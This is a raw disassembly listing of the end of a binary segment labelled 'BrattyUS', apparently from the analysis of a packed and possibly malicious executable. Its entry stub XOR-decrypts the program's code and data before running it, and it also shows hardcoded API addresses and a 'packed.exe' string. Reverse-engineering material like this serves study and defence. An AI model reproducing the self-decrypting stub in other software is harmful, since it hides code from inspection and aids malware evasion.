off_41DEB0 dd offset off_4172BC ; DATA XREF: BrattyUS:off_4172C0o ; BrattyUS:004172FCo ... align 8 a_?av_com_error db '.?AV_com_error@@',0 align 10h off_41DED0 dd offset off_4172BC ; DATA XREF: BrattyUS:off_417308o ; BrattyUS:00417344o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dword_41DEE8 dd 0 ; DATA XREF: sub_401856:loc_40186Er ; sub_401856+21r ... dword_41DEEC dd 0 ; DATA XREF: sub_401856:loc_401883r ; sub_401856+36r ... dword_41DEF0 dd 0 ; DATA XREF: sub_401856:loc_401898r ; sub_401856+4Br ... dword_41DEF4 dd 0 ; DATA XREF: sub_401856+3r ; sub_401856+Cr ... dd 0 dword_41DEFC dd 0 ; DATA XREF: sub_4018AF+40r ; sub_4018AF+62r ... byte_41DF00 db 0 ; DATA XREF: sub_401981+1BAo ; sub_402A32+57r ... align 8 dword_41DF08 dd 0 ; DATA XREF: sub_40332B+1Ar ; sub_404CBB+1Br ... dword_41DF0C dd 0 ; DATA XREF: sub_40332B+Bo dword_41DF10 dd 77E7C706h ; DATA XREF: sub_403BD3+28w ; sub_409C36+12r ... align 8 dword_41DF18 dd 71C245E0h ; DATA XREF: sub_403BD3+53w dword_41DF1C dd 71C243F6h ; DATA XREF: sub_403BD3+66w dword_41DF20 dd 71C59904h ; DATA XREF: sub_403BD3+79w dword_41DF24 dd 71C453F8h ; DATA XREF: sub_403BD3+8Cw dword_41DF28 dd 71C2FA86h ; DATA XREF: sub_403BD3+9Fw dword_41DF2C dd 71C574FAh ; DATA XREF: sub_403BD3+B2w dword_41DF30 dd 71C214BAh ; DATA XREF: sub_403BD3+C5w dword_41DF34 dd 71C4A1B4h ; DATA XREF: sub_403BD3+D8w dword_41DF38 dd 71C59530h ; DATA XREF: sub_403BD3+EBw dword_41DF3C dd 71B2ACCBh ; DATA XREF: sub_403BD3+112w dword_41DF40 dd 71B22C25h ; DATA XREF: sub_403BD3+125w dword_41DF44 dd 71B2A381h ; DATA XREF: sub_403BD3+138w dword_41DF48 dd 71B28D0Dh ; DATA XREF: sub_403BD3+14Bw dword_41DF4C dd 7622A3F4h ; DATA XREF: sub_403BD3+219w ; sub_408B30+118r ... dword_41DF50 dd 5E0C4E7Dh ; DATA XREF: sub_403BD3+1F2w ; sub_414EF4+6Cr ... dword_41DF54 dd 71AB33DFh ; DATA XREF: sub_403BD3+16Cw ; sub_403BD3+197r ... dword_41DF58 dd 71ABC076h ; DATA XREF: sub_4020C2+DBr ; sub_403BD3+17Fw ... dword_41DF5C dd 71AB3A2Ch ; DATA XREF: sub_403BD3+192w ; sub_403BD3+1A9r ... dd 28h dup(0) dword_41E000 dd 0D9h dup(0) ; DATA XREF: BrattyUS:loc_42002Eo dword_41E364 dd 0 ; DATA XREF: sub_4042FB+3r ; sub_4042FB+20o dword_41E368 dd 0 ; DATA XREF: sub_4042FB+12o ; sub_4042FB:loc_404327r align 10h dword_41E370 dd 76BF1C22h ; DATA XREF: sub_405FA3+46w ; sub_405FA3+7Ar ... dword_41E374 dd 76BF1D54h ; DATA XREF: sub_405FA3+59w ; sub_405FA3+83r ... dword_41E378 dd 76BF1E6Ch ; DATA XREF: sub_405FA3+6Cw ; sub_405FA3+8Cr ... dword_41E37C dd 76BF32DDh ; DATA XREF: sub_405FA3+33w ; sub_405FA3+71r ... dword_41E380 dd 14AE70h, 0FFFFFFFFh, 5 dup(0) ; DATA XREF: sub_405FA3+4o ; sub_406041+Bo ... byte_41E39C db 1 ; DATA XREF: sub_405FA3+95w ; sub_406041+16r align 10h dword_41E3A0 dd 0 ; DATA XREF: sub_409226+61w ; sub_409226+77w ... align 8 dword_41E3A8 dd 14AE98h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_40938F+1Ao ; sub_4095A4+6o ... dword_41E3C0 dd 0 ; DATA XREF: sub_40938F+3w ; sub_4095A4+11r ... align 8 dword_41E3C8 dd 323A00h ; DATA XREF: sub_40938F+15w ; sub_4095A4+57r ... dword_41E3CC dd 0 ; DATA XREF: sub_409CB1+6r ; sub_409DD0+65w ... dword_41E3D0 dd 0 ; DATA XREF: sub_409DD0+3Fw ; sub_409DD0+44r ... dword_41E3D4 dd 0 ; DATA XREF: sub_409CB1+F6r ; sub_409DD0+91w ... dword_41E3D8 dd 0 ; DATA XREF: sub_409CB1+B9r ; sub_409DD0+7Bw ... align 10h byte_41E3E0 db 0 ; DATA XREF: sub_409DD0+29r ; sub_409DD0+96w align 4 dd 101h dup(0) byte_41E7E8 db 0 ; DATA XREF: sub_40CF2F+4Bo ; sub_40CF2F+5Eo ... align 4 dd 5Fh dup(0) dword_41E968 dd 40h dup(0) ; DATA XREF: sub_40CF2F+Eo ; sub_40CF2F+A6o ... dword_41EA68 dd 3 dup(0) ; DATA XREF: sub_40CF2F+23o ; sub_40CF2F+36o ... dword_41EA74 dd 0 ; DATA XREF: sub_40CF25+3r ; sub_40D366+15r ... dd 0 dword_41EA7C dd 0 ; DATA XREF: sub_40E618+49w ; sub_40E618:loc_40E66Dw byte_41EA80 db 0 ; DATA XREF: sub_40E979+1Dw ; sub_40E979+46w ... align 4 dd 9 dup(0) dd 3E000000h, 3F000000h, 37363534h, 3B3A3938h, 3D3Ch, 0 dd 2010000h, 6050403h, 0A090807h, 0E0D0C0Bh, 1211100Fh dd 16151413h, 191817h, 0 db 0 db 1Ah, 1Bh, 1Ch db 1Dh db 1Eh, 1Fh, 20h a_0123 db '!"#$%&',27h,'()*+,-./0123',0 dd 22h dup(0) byte_41EB84 db 0F2h ; DATA XREF: sub_40ECEB+29o ; sub_40ECEB+35o ... aShmmhNaII db 0Bh,'HMMH',0Bh,'ө',0 align 4 dword_41EB98 dd 85E7D1A7h, 0C5FDFDC5h, 0B939B9D1h, 1987FB7Bh, 0 ; DATA XREF: sub_40ED6E+29o ; sub_40ED6E+35o ... dword_41EBAC dd 0D2FC405Fh ; DATA XREF: sub_4102AE+1Do ; sub_410318+7w ... dword_41EBB0 dd 0D23DDC9Ah ; DATA XREF: sub_4102AE+2Do ; sub_410318+11w ... dword_41EBB4 dd 220C0381h ; DATA XREF: sub_4102AE+3Do ; sub_410318+1Bw ... dword_41EBB8 dd 0A316C519h ; DATA XREF: sub_4102AE+4Do ; sub_410318+25w ... align 10h byte_41EBC0 db 0F9h ; DATA XREF: sub_41055F+29o ; sub_41055F+35o ... ; --------------------------------------------------------------------------- retn 0E8D9h ; --------------------------------------------------------------------------- enter 0FFFFD4D4h, 0C8h retn 0B6F6h ; --------------------------------------------------------------------------- db 0F6h ; --------------------------------------------------------------------------- xchg eax, edi xlat jmp near ptr byte_41EC79 ; --------------------------------------------------------------------------- align 8 dword_41EBD8 dd 2 dup(0) ; DATA XREF: sub_41113B+7E8o dword_41EBE0 dd 0 ; DATA XREF: sub_411DC5+557o dword_41EBE4 dd 2 dup(0) ; DATA XREF: sub_411DC5+579o dword_41EBEC dd 0 ; DATA XREF: sub_4127D0+9r ; sub_4127D0+16w dword_41EBF0 dd 0 ; DATA XREF: sub_4127D0+BFw ; sub_4127D0:loc_4128A0r dword_41EBF4 dd 2 dup(0) ; DATA XREF: sub_412D4C+3o ; sub_412E04+7Fo dword_41EBFC dd 6B636170h, 652E6465h, 6578h, 1Ch dup(0) ; DATA XREF: sub_406E8E+208o ; sub_407148+172o ... db 0 byte_41EC79 db 3 dup(0) ; CODE XREF: BrattyUS:0041EBCEj dd 21h dup(0) dword_41ED00 dd 84EE8C99h ; DATA XREF: sub_40A9CF+838r ; sub_4167F1+118w dword_41ED04 dd 0B8371B2Eh ; DATA XREF: sub_4167F1+122w dword_41ED08 dd 5088641Dh ; DATA XREF: sub_4167F1+12Cw dword_41ED0C dd 0E5C30FBAh ; DATA XREF: sub_4167F1+136w dword_41ED10 dd 6B636170h, 652E6465h, 6578h, 3Fh dup(0) ; DATA XREF: sub_40A9CF+C3Do ; sub_40A9CF+C51o ... dword_41EE18 dd 40h dup(0) ; DATA XREF: sub_40A9CF+1082o ; sub_40A9CF+108Eo ... byte_41EF18 db 0 ; DATA XREF: sub_40D043+FFr ; sub_40D043+10Ao ... align 4 dd 1Fh dup(0) byte_41EF98 db 0 ; DATA XREF: sub_403DF3:loc_403F07r ; sub_403DF3+11Fo ... align 4 dd 1Fh dup(0) dword_41F018 dd 40h dup(0) ; DATA XREF: sub_404279+36o ; sub_4055E5+746o ... byte_41F118 db 0 ; DATA XREF: sub_40A9CF+1F37o ; sub_40D043:loc_40D0D6r ... align 4 dd 3B9h dup(0) ; --------------------------------------------------------------------------- loc_420000: ; CODE XREF: BrattyUS:003EB22Dj pusha nop popa popa cmp byte ptr [edi-10h], 45h nop pusha jnz near ptr 0FF618B2Bh push offset sub_4167F1 mov eax, offset sub_401000 nop loc_42001B: ; CODE XREF: BrattyUS:00420026j cmp eax, offset dword_417000 jz short loc_420028 xor byte ptr [eax], 0D1h inc eax jmp short loc_42001B ; --------------------------------------------------------------------------- loc_420028: ; CODE XREF: BrattyUS:00420020j mov eax, offset off_418000 nop loc_42002E: ; CODE XREF: BrattyUS:00420039j cmp eax, offset dword_41E000 jz short locret_42003B xor byte ptr [eax], 0B3h inc eax jmp short loc_42002E ; --------------------------------------------------------------------------- locret_42003B: ; CODE XREF: BrattyUS:00420033j retn ; --------------------------------------------------------------------------- dd 4008h dup(0) dword_43005C dd 1B7Bh dup(0) ; DATA XREF: BrattyUS:0041A720o db 2 dup(0) BrattyUS ends end start